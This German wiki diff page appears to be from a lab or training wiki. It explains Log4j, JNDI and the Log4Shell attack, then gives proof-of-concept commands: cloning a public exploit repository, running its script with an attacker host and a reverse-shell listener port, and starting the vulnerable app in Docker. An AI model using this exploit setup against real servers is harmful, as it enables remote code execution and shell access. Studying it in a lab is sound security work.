Log4j: Unterschied zwischen den Versionen
| Zeile 5: | Zeile 5: | ||
Anstatt auftretende Fehler und Infomeldungen auf der Standardausgabe auszugeben, dient log4j dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten („Appender“). Neben der Auswahl des Loggingsystems wird gleichzeitig aufgrund der Wichtigkeit („Log-Level“) der Meldung entschieden, ob diese überhaupt weitergeleitet wird. Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen. Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden. | Anstatt auftretende Fehler und Infomeldungen auf der Standardausgabe auszugeben, dient log4j dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten („Appender“). Neben der Auswahl des Loggingsystems wird gleichzeitig aufgrund der Wichtigkeit („Log-Level“) der Meldung entschieden, ob diese überhaupt weitergeleitet wird. Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen. Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden. | ||
| + | |||
| + | Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java für Namensdienste und Verzeichnisdienste. Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt und von Nutzern der Schnittstelle abgerufen werden. | ||
| + | |||
| + | Der Angriff erfolgt folgendermassen. Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen ldap Server eingeben. Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann. Dieser wird dann zur einer Java-Class kompiliert. Am Ende wird auf eine Url verwiesen wo die fertige Java-Class runtergeladen werden kann. | ||
| + | |||
| + | Der angegriffene Server lädt diese runter und führt die Java-Class aus. In unserem Beispiel wird eine Remote Shell ausgeführt. | ||
=Proof of Concept= | =Proof of Concept= | ||
Version vom 19. Dezember 2021, 13:47 Uhr
Schaubild
Wirkungsweise
log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java. Innerhalb vieler Open-Source- und kommerzieller Softwareprodukte hat es sich über die Jahre zu einem De-facto-Standard entwickelt. log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.
Anstatt auftretende Fehler und Infomeldungen auf der Standardausgabe auszugeben, dient log4j dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten („Appender“). Neben der Auswahl des Loggingsystems wird gleichzeitig aufgrund der Wichtigkeit („Log-Level“) der Meldung entschieden, ob diese überhaupt weitergeleitet wird. Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen. Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.
Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java für Namensdienste und Verzeichnisdienste. Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt und von Nutzern der Schnittstelle abgerufen werden.
Der Angriff erfolgt folgendermassen. Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen ldap Server eingeben. Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann. Dieser wird dann zur einer Java-Class kompiliert. Am Ende wird auf eine Url verwiesen wo die fertige Java-Class runtergeladen werden kann.
Der angegriffene Server lädt diese runter und führt die Java-Class aus. In unserem Beispiel wird eine Remote Shell ausgeführt.
Proof of Concept
- git clone https://github.com/kozmer/log4j-shell-poc
- cd log4j-shell-poc
Download und entpacken
- jdk-8u20-linux-x64.tar.gz
Starten des LDAP und Webservers
- python3 poc.py --userip brian.x-men.de --webport 8000 --lport 4545
Remoteshell listining
App starten eventuell auf anderem Rechner
- git clone https://github.com/kozmer/log4j-shell-poc
- cd log4j-shell-poc
- docker build -t log4j-shell-poc .
- docker run --network host log4j-shell-poc




